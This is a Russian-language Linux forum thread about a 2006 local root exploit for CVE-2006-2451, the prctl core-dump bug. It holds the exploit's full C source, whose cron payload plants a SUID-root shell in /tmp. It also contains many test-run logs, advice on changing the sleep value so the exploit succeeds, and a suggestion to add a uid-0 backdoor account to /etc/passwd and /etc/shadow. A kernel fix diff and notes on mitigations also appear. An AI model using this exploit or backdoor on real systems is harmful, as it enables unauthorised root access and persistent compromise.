LINUX.ORG.RU

Linux Kernel 2.6.x PRCTL Core Dump Handling - Local root Exploit


0

0

RoMan SoFt Labs выпустили Proof of Concept уязвимости CVE-2006-2451

Эксплоит позволяет повысить привилегии простого пользователя системы до root на ядрах версий 2.6.13 и выше. Данная уязвимость исправлена в последнем ядре 2.6.17.4.

>>> Подробности



Проверено: Shaman007 ()

У меня в 2.6.17 - не работает...

 ./rs_prctl_kernel
Linux Kernel 2.6.x PRCTL Core Dump Handling - Local r00t
By: dreyer & RoMaNSoFt
[ 10.Jul.2006 ]

[*] Creating Cron entry
[*] Sleeping for aprox. one minute (** please wait **)
[*] Running shell (remember to remove /tmp/sh when finished) ...
sh: /tmp/sh: No such file or directory

sergej ★★★★★
()

Работает :-(. Dapper. Сейчас произойдет dist-upgrade и не будет работать.

Shaman007 ★★★★★
()

user@host ~ $ ./rs_prctl_kernel
Linux Kernel 2.6.x PRCTL Core Dump Handling - Local r00t
By: dreyer & RoMaNSoFt
[ 10.Jul.2006 ]

[*] Creating Cron entry
[*] Sleeping for aprox. one minute (** please wait **)
[*] Running shell (remember to remove /tmp/sh when finished) ...
sh: /tmp/sh: No such file or directory
user@host ~ $ uname -a
Linux linux 2.6.16-gentoo-r7 #2 Mon May 22 14:19:25 MSD 2006 i686 Pentium Pro GNU/Linux
nstorm@linux ~ $

anonymous
()
Ответ на: комментарий от anonymous

Бля, не работает ((
[user@bobrik ~]$ gcc rs_prctl_kernel.c -o exploit
[user@bobrik ~]$ ./exploit
Linux Kernel 2.6.x PRCTL Core Dump Handling - Local r00t
By: dreyer & RoMaNSoFt
[ 10.Jul.2006 ]

[*] Creating Cron entry
[*] Sleeping for aprox. one minute (** please wait **)
[*] Running shell (remember to remove /tmp/sh when finished) ...
sh: /tmp/sh: Нет такого файла или каталога
[user@bobrik ~]$ uname -r
2.6.17-beyond

bobrik
()
Ответ на: комментарий от bobrik

--- linux-2.6.9/kernel/sys.c.orig
+++ linux-2.6.9/kernel/sys.c
@@ -1702,7 +1702,7 @@ asmlinkage long sys_prctl(int option, un
                                error = 1;
                        break;
                case PR_SET_DUMPABLE:
-                       if (arg2 < 0 || arg2 > 2) {
+                       if (arg2 < 0 || arg2 > 1) {
                                error = -EINVAL;
                                break;
                        }

anonymous
()

sh: /tmp/sh: Нет такого файла или каталога

xtreme@xtreme ~ $ uname -r

2.6.17-gentoo-r2

X-treme
()

artem@debian:~$ ./rs_prctl_kernel
Linux Kernel 2.6.x PRCTL Core Dump Handling - Local r00t
By: dreyer & RoMaNSoFt
[ 10.Jul.2006 ]

[*] Creating Cron entry
[*] Sleeping for aprox. one minute (** please wait **)
[*] Running shell (remember to remove /tmp/sh when finished) ...
sh-2.05b# id
uid=1000(artem) gid=1000(artem) euid=0(root) groups=20(dialout),24(cdrom),25(floppy),29(audio),44(video),46(plugdev),1000(art
em)
sh-2.05b# uname -a
Linux debian 2.6.14.7 #3 SMP Sat Jun 24 09:49:25 SAMST 2006 i686 GNU/Linux
sh-2.05b#

debian stable

JB ★★★★★
()
Ответ на: комментарий от gr_buza

> slackware?

по непонятному стечению обстоятельств слакварь неуязвима :) защита самого Патрика?

JB ★★★★★
()

Кто-небудь может объяснить принцип действия эксплойта?
Как я понял, он коре-дампит в /etc/cron.d, но не понятно, каким
образом получается, что cron обрабатывает этот коредамп и выполняет
команды из него?

Фикс тоже прикольный, кстати:
http://www.kernel.org/git/?p=linux/kernel/git/stable/linux-2.6.17.y.git;a=blo...

anonymous
()
Ответ на: комментарий от anonymous

Работает но частично. Т.е. сам эксплоит не работает полностью, но /tmp/sh с SUID создается (просто позже чем через минуту).

anonymous
()

Блин, хоть бы эксплойты писЯт научились ;)

anonymous
()
Ответ на: комментарий от JB

у меня не сработало #uname -a Linux lost 2.6.15-1-686 #2 Mon Mar 6 15:27:08 UTC 2006 i686 GNU/Linux

darkden
()
Ответ на: комментарий от anonymous

Да, точно, просто позже чем через минуту создает SUID root /tmp/sh

anonymous
()

Хммм... Не работает!

tetsu@darkside ~/Downloads $ gcc -O2 rs_prctl_kernel.c -oget_root
tetsu@darkside ~/Downloads $ ./get_root
Linux Kernel 2.6.x PRCTL Core Dump Handling - Local r00t
By: dreyer & RoMaNSoFt
[ 10.Jul.2006 ]

[*] Creating Cron entry
[*] Sleeping for aprox. one minute (** please wait **)
[*] Running shell (remember to remove /tmp/sh when finished) ...
sh: /tmp/sh: No such file or directory
tetsu@darkside ~/Downloads $ id
uid=1000(tetsu) gid=100(users) группы=10(wheel),18(audio),19(cdrom),85(usb),100(users)
tetsu@darkside ~/Downloads $ uname -r
2.6.15-gentoo-r5
tetsu@darkside ~/Downloads $ uname -a
Linux darkside 2.6.15-gentoo-r5 #2 SMP Tue Apr 18 23:32:54 GMT 2006 x86_64 AMD Sempron(tm) Processor 2600+ AuthenticAMD GNU/Linux

anonymous
()

Вообщем развели Вас товарищи ;-)

Этот сплоит лишь создает видимость рута давая euid=0. Более серьезную проверку привелегий сплоит не пройдет, а значит то что это прям на все 100% root exploit сказать НЕЛЬЗЯ!

Metallic
()

В gentoo тоже не работает:

$ ./rs_prctl_kernel
Linux Kernel 2.6.x PRCTL Core Dump Handling - Local r00t
By: dreyer & RoMaNSoFt
[ 10.Jul.2006 ]

[*] Creating Cron entry
[*] Sleeping for aprox. one minute (** please wait **)
[*] Running shell (remember to remove /tmp/sh when finished) ...
sh: /tmp/sh: Нет такого файла или каталога

$ ls -ld /etc/cron.d
drwxr-xr-x 2 root root 8 Окт 18 2004 /etc/cron.d

$ cat /proc/version
Linux version 2.6.16-gentoo-r12

fghj ★★★★★
()

Linux Kernel 2.6.x PRCTL Core Dump Handling - Local r00t
By: dreyer & RoMaNSoFt
[ 10.Jul.2006 ]

[*] Creating Cron entry
[*] Sleeping for aprox. one minute (** please wait **)
[*] Running shell (remember to remove /tmp/sh when finished) ...
sh-3.1#
sh-3.1#
sh-3.1# su
Password:Ctrl-C
su: Authentication failure
sh-3.1#

бугога!!!

Ex ★★
()
Ответ на: комментарий от fghj

кстати понятно почему не работает в gentoo,
из Changlogа gentoo-sources:

06 Jul 2006; Daniel Drake <dsd@gentoo.org>
+gentoo-sources-2.6.16-r12.ebuild:
Update to Linux 2.6.16.24 for coredump privilege escalation security fix

fghj ★★★★★
()

А мне эксплойт понравился, красивая идея. У тех - у кого не сработал, попробуйте скомпилить без оптимизации, может строчка удалилась.

Да, а куда направлять просьбу прописать alt к капче? А то из консольных браузеров анонимусам коментить не получается %(

// darkk

anonymous
()
Ответ на: комментарий от anonymous

[krum@localhost ~]$ gcc rs_prctl_kernel.c -o exploit [krum@localhost ~]$ ./exploit Linux Kernel 2.6.x PRCTL Core Dump Handling - Local r00t By: dreyer & RoMaNSoFt [ 10.Jul.2006 ]

[*] Creating Cron entry [*] Sleeping for aprox. one minute (** please wait **) [*] Running shell (remember to remove /tmp/sh when finished) ... sh: /tmp/sh: Нет такого файла или каталога [krum@localhost ~]$ uname -a Linux localhost.localdomain 2.6.15-1.2054_FC5smp #1 SMP Tue Mar 14 16:05:46 EST 2006 i686 athlon i386 GNU/Linux [krum@localhost ~]$

anonymous
()
Ответ на: комментарий от anonymous

[krum@localhost ~]$ gcc rs_prctl_kernel.c -o exploit
[krum@localhost ~]$ ./exploit
Linux Kernel 2.6.x PRCTL Core Dump Handling - Local r00t
By: dreyer & RoMaNSoFt
[ 10.Jul.2006 ]

[*] Creating Cron entry
[*] Sleeping for aprox. one minute (** please wait **)
[*] Running shell (remember to remove /tmp/sh when finished) ...
sh: /tmp/sh: Нет такого файла или каталога
[krum@localhost ~]$ uname -a
Linux localhost.localdomain 2.6.15-1.2054_FC5smp #1 SMP Tue Mar 14 16:05:46 EST 2006 i686 athlon i386 GNU/Linux
[krum@localhost ~]$

anonymous
()
Ответ на: комментарий от anonymous

И вообще все у кого "неработает" - выше же писали минуты нехватает.

Измените в коде эксплоита sleep(62); на sleep(180); и все заработает.

anonymous
()

нехочу вас всех растраивать, но вас на*бали ;) внимательно изучите исходник сплоита и все поймете

можете так же для полного просветления сделать rm -rf / через сплоит

JB ★★★★★
()
Ответ на: комментарий от bobrik

PKGBUILD делать бесполезно - в арче нет /etc/cron.d :)

sergej ★★★★★
()
Ответ на: комментарий от JB

>> нехочу вас всех растраивать, но вас на*бали ;) внимательно изучите исходник сплоита и все поймете
> можете так же для полного просветления сделать rm -rf / через сплоит

гы-гы час веть кто нить попробует ))) и вынесет себе хомяк & etc %)

Ex ★★
()
Ответ на: комментарий от JB

хотя rm -rf лучше все таки не делать ;)

JB ★★★★★
()

Надо будет к нему написать ебилд!

anonymous
()
Ответ на: комментарий от JB

Изучил

Пытается сбросить кору в директорию крона

Только я не понял с какого крон это должен подхватывать...

Наверное exploit и не должен работать? :)

sergej ★★★★★
()

user@server ~/ $ uname -a
Linux server 2.6.16-gentoo-r5 #1 PREEMPT Tue May 23 15:30:42 MSD 2006 i686 Intel(R) Pentium(R) 4 CPU 2.20GHz GNU/Linux
user@server ~/ $ ./a.out
Linux Kernel 2.6.x PRCTL Core Dump Handling - Local r00t
By: dreyer & RoMaNSoFt
[ 10.Jul.2006 ]

[*] Creating Cron entry
[*] Sleeping for aprox. one minute (** please wait **)
[*] Running shell (remember to remove /tmp/sh when finished) ...
sh: /tmp/sh: No such file or directory

anonymous
()

В итоге можно сказать что сплоит пригоден для программ которые не используют вызовы setuid setgid. Еще до кучи эта хренотень и в логах светицо....

По ощущениям это косяк cron+kernel на пару ибо в логах вот такая вещь <$date $hostname /USR/SBIN/CRON[$pid]: (root) CMD ( cp /bin/sh /tmp/sh ; chown root /tmp/sh ; chmod 4755 /tmp/sh ; rm -f /etc/cron.d/core)>

P.S. rm -fdr setuid setgid кажется не делает, так что тут он сработает ^_^

Metallic
()
Ответ на: комментарий от sergej

> Изучил

плохо изучил ;) он лишь ставит euid=0, а id остается твоим

как уже сказал Metallic это прокатит только там, где не проверяется setuid и setgid

JB ★★★★★
()
Ответ на: комментарий от anonymous

Работает, однако ж:

user@server ~/ $ uname -a Linux server 2.6.16-gentoo-r5 #1 PREEMPT Tue May 23 15:30:42 MSD 2006 i686 Intel(R) Pentium(R) 4 CPU 2.20GHz GNU/Linux

...

user@server ~/ $ /tmp/sh sh-3.1$ id uid=1002(user) gid=1002(user) группы=100(users),1002(user) sh-3.1$ ls -l /tmp/sh -rwsr-xr-x 1 root root 646312 Июл 12 13:53 /tmp/sh

Но!

/dev/hda2 /tmp reiserfs noexec,nosuid,nodev 0 0

anonymous
()

Лажа какая-то, багу пофиксили, только после чего вышел эксплоит, который к тому же пашет не везде, требует доработки напильником и т.п. Винды наизнанку - сначала фиксят дырки и только потом пишут эксплоиты...

Еще и нужно "nosuid" с /tmp убирать... фе :)

Gharik
()
Ответ на: комментарий от WFrag

> Только что проверил на соседе - работает (~ Debian/Etch). Создал файлик в корне.

единственное для чего годится этот сплоит - написать гадость в /etc/motd и удалить хомяк

JB ★★★★★
()
Ответ на: комментарий от JB

[krum@localhost ~]$ cat rs_prctl_kernel.c
/*****************************************************/
/* Local r00t Exploit for: */
/* Linux Kernel PRCTL Core Dump Handling */
/* ( BID 18874 / CVE-2006-2451 ) */
/* Kernel 2.6.x (>= 2.6.13 && < 2.6.17.4) */
/* By: */
/* - dreyer <luna@aditel.org> (main PoC code) */
/* - RoMaNSoFt <roman@rs-labs.com> (local root code) */
/* [ 10.Jul.2006 ] */
/*****************************************************/

#include <stdio.h>
#include <sys/time.h>
#include <sys/resource.h>
#include <unistd.h>
#include <linux/prctl.h>
#include <stdlib.h>
#include <sys/types.h>
#include <signal.h>

char *payload="\nSHELL=/bin/sh\nPATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/ usr/sbin:/usr/bin\n* * * * * root cp /bin/sh /tmp/sh ; chown root /tmp/sh ; chmod 4755 /tmp/sh ; rm -f /etc/cron.d/core\n";

int main() {
int child;
struct rlimit corelimit;
printf("Linux Kernel 2.6.x PRCTL Core Dump Handling - Local r00t\n");
printf("By: dreyer & RoMaNSoFt\n");
printf("[ 10.Jul.2006 ]\n\n");

corelimit.rlim_cur = RLIM_INFINITY;
corelimit.rlim_max = RLIM_INFINITY;
setrlimit(RLIMIT_CORE, &corelimit);

printf("[*] Creating Cron entry\n");

if ( !( child = fork() )) {
chdir("/etc/cron.d");
prctl(PR_SET_DUMPABLE, 2);
sleep(200);
exit(1);
}

kill(child, SIGSEGV);

printf("[*] Sleeping for aprox. one minute (** please wait **)\n");
sleep(182);

printf("[*] Running shell (remember to remove /tmp/sh when finished) ...\n");
system("/tmp/sh -i");
}

[krum@localhost ~]$ gcc rs_prctl_kernel.c -o exploit
[krum@localhost ~]$ ./exploit
Linux Kernel 2.6.x PRCTL Core Dump Handling - Local r00t
By: dreyer & RoMaNSoFt
[ 10.Jul.2006 ]

[*] Creating Cron entry
[*] Sleeping for aprox. one minute (** please wait **)
[*] Running shell (remember to remove /tmp/sh when finished) ...
sh-3.1$ id
uid=500(krum) gid=500(krum) группы=10(wheel),500(krum) context=root:system_r:unconfined_t:SystemLow-SystemHigh
sh-3.1$
Нифига не работает на федоре 5-ой...

anonymous
()

О боже!!!!!!!!! Правильно Jackill сказал "4 дебила за сутки".... тока он числом ошибсяяя......

Я могу сделать скрипт в tmp и скормить его sh и никакие nosuid noexec вас не спасут :-]

Metallic
()
Ответ на: комментарий от JB

Хм, а добавить левого юзера с id=0, а потом им залогиниться?

echo "otherroot:x:0:0:root:/root:/bin/sh" >> /etc/passwd echo "otherroot:$1$<password>:12975:0:99999:7:::" >> /etc/shadow

WFrag ★★★★
()
Ответ на: комментарий от WFrag

>Хм, а добавить левого юзера с id=0, а потом им залогиниться?

>echo "otherroot:x:0:0:root:/root:/bin/sh" >> /etc/passwd echo "otherroot:$1$<password>:12975:0:99999:7:::" >> /etc/shadow

Угадать систему хеширования пароля и подправить никто не запрещал ;-)

Metallic
()
Вы не можете добавлять комментарии в эту тему. Тема перемещена в архив.